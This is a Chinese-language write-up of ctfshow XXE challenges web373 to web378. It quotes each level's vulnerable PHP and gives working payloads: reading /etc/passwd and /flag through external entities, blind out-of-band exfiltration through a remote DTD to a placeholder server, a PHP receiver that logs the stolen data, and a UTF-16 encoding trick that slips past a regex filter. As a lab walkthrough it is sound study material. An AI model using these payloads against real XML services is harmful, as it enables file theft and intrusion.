xxe
web373
查看源码:
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
解析:
// 允许加载外部实体
libxml_disable_entity_loader(false);
// xml文件来源于数据流
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
// 加载xml实体,参数为替代实体、加载外部子集
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// 把 DOM 节点转换为 SimpleXMLElement 对象
$creds = simplexml_import_dom($dom);
// 节点嵌套
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
可以实体注入,并且有回显,要注意的是 echo $creds->ctfshow
是echo
出ctfshow
这个元素,因此一定要用它来包裹实体&DMIND;
payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
//这个productid要填xml实体的名称
<ctfshow>&xxe;</ctfshow>
</stockCheck>
web374~376
区别在于没有回显,要把读取到的内容也就是flag传到远程服务器查看
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
后几题把xml的头过滤了
这里给出通杀方法:
在服务器上新建dtd文件,将读取到的flag发送到php
以下的http://xxx/指代服务器IP,根据自己情况替换
# pd.dtd
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx/xxe.php?q=%file;'>"
>
%all;
新建用于接收的php
# xxe.php
<?php
highlight_file(__FILE__);
$xxe = base64_decode($_GET['q']);
$txt = 'flag.txt';
file_put_contents($txt,$xxe,FILE_APPEND)
?>
burpsuite发包,后几题过滤了xml头,可以省略
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://xxx/pd.dtd">
%dtd;
%send;
] >
要求从公网能访问dtd和php文件
如果运行正常,flag已经写入了txt
web375
源码:
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
?>
抓包,post payload:
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml">
%remote;
%send;
]>
在服务器放置 xxe.php 和 xxe.xml 两个文件
<?php
$content = $_GET['1'];
if(isset($content)){
file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{
echo 'no data input';
}
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;
web376
无回显的文件读取,且禁用了版本号,和上面一样进行外带不写版本号
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
?>
抓包发送如下内容:
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx:xxxx/xxe.xml">
%remote;
%send;
]>
在服务器放置 xxe.php 和 xxe.xml 两个文件:
<?php
$content = $_GET['1'];
if(isset($content)){
file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{
echo 'no data input';
}
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:xxxx/xxe.php?1=%file;'"
>
%all;
web377
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。
在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 - utf-32BE,特别是不支持BOM。
也是要在远程服务器配置dtd,同上
python完成post,记得设定编码方式
import requests
url = 'http://xxx'
data = """<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://xxx/test.dtd">
%dtd;
%send;
] >"""
requests.post(url ,data=data.encode('utf-16'))
print("done!")
flag在服务器的flag.txt里面
web378
直接引用一个外部实体
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///flag">
]>
<user><username>&test;</username><password>1</password></user>
参考博客:
一篇文章带你深入理解漏洞之 XXE 漏洞
XML基础知识
ctf